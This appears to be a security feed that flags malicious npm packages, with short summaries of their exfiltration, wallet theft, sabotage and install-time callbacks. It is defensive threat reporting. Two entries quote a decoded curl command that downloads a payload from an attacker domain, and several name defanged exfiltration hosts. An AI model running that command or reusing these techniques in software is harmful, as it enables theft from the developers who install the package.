npm malware @npm_malware

⚠️ New threat detected: @​weblate/[email protected] ⚠️ This code is intentionally obfuscated and uses DNS queries to exfiltrate system information, which could be a significant security risk. The hardcoded domain and the potential data exfiltration ra... socket.dev/npm/package/@w…

⚠️ New threat detected: @​globalsearch/[email protected] ⚠️ This file contains obfuscated malware that performs systematic data exfiltration. The code collects sensitive system information including hostname, username, platform details, and administ... socket.dev/npm/package/@g…

⚠️ New threat detected: @​yaqiguo/[email protected] ⚠️ This install script performs a remote network callback to an external domain during package installation. The postinstall script uses Node.js to execute an HTTP GET request to http://dnsyaqi[.]oskzur... socket.dev/npm/package/@y…

⚠️ New threat detected: [email protected] ⚠️ The code sends the system's hostname to an obfuscated external server without user consent, which is a potential privacy violation. The use of base64 encoding to hide the server's domain and disabling ... socket.dev/npm/package/to…

⚠️ New threat detected: [email protected] ⚠️ The code collects and sends detailed system information to an external server without user consent, which is considered malicious behavior. This poses a high security risk due to potential... socket.dev/npm/package/me…

⚠️ New threat detected: [email protected] ⚠️ The code is designed to collect and send sensitive information to a remote server without the user's knowledge or consent. It poses a high risk of data exfiltration and should be reviewed ... socket.dev/npm/package/he…

⚠️ New threat detected: [email protected] ⚠️ This code presents an extremely high risk as it constitutes a sophisticated cryptocurrency theft trojan that targets browser extension data from popular wallet applications including MetaMask, TronLin... socket.dev/npm/package/mo…

⚠️ New threat detected: [email protected] ⚠️ This file contains a malicious React router component that implements a supply chain attack through navigation data exfiltration. The code appears to be a legitimate StaticRouter component but secre... socket.dev/npm/package/tp…

⚠️ New threat detected: [email protected] ⚠️ A geo-targeted sabotage routine triggers for users whose browser language starts with “ru” and whose host ends in .ru, .su or .xn--p1ai. It records a timestamp in localStorage under “swal-initiation” and, o... socket.dev/npm/package/zz…

⚠️ Malware removed from npm: [email protected] ⚠️ The script seems to be part of a spamming operation and uses bad security practices, such as hardcoding paths and credentials. Therefore, it's a potential security risk. socket.dev/npm/package/xb…

⚠️ New threat detected: [email protected] ⚠️ This file contains a malicious React router component that implements a supply chain attack through navigation data exfiltration. The code appears to be a legitimate StaticRouter component but secre... socket.dev/npm/package/tp…

⚠️ New threat detected: @​sme-configs/[email protected] ⚠️ The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon &&... socket.dev/npm/package/@s…

⚠️ New threat detected: @​hornetsecurity/[email protected] ⚠️ This code is malware designed for system reconnaissance and data exfiltration. It automatically collects system identification information including hostname (via os.hostname()) and u... socket.dev/npm/package/@h…

⚠️ New threat detected: [email protected] ⚠️ This code collects extensive system information—including hostname, OS type, platform, release, architecture, local IP, current user, and working directory—and fetches the public IP from https:/... socket.dev/npm/package/sd…

⚠️ New threat detected: @​video-platform/[email protected] ⚠️ The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && ... socket.dev/npm/package/@v…

⚠️ New threat detected: [email protected] ⚠️ This file contains a malicious React router component that implements a supply chain attack through navigation data exfiltration. The code appears to be a legitimate StaticRouter component but secre... socket.dev/npm/package/tp…

⚠️ New threat detected: [email protected] ⚠️ This install script covertly collects sensitive environment and user information from the host system and exfiltrates it to a remote server during package installation. The script performs a DNS lookup to 5nt... socket.dev/npm/package/ph…

⚠️ New threat detected: [email protected] ⚠️ The code is designed to exfiltrate sensitive system information to an external domain using DNS queries, which is a clear indication of malicious intent. The use of encoding and DNS queries ... socket.dev/npm/package/de…

⚠️ New threat detected: [email protected] ⚠️ The primary security risk is the unsafe use of eval on dynamically parsed content from a file that could be modified by an attacker, leading to arbitrary code execution. No direct malware or obfuscatio... socket.dev/npm/package/ch…

⚠️ New threat detected: [email protected] ⚠️ This script gathers the system hostname, current user, current working directory, and directory listing, encodes them with base64, and then sends them to a remote server (e.g., example[.]ngro... socket.dev/npm/package/co…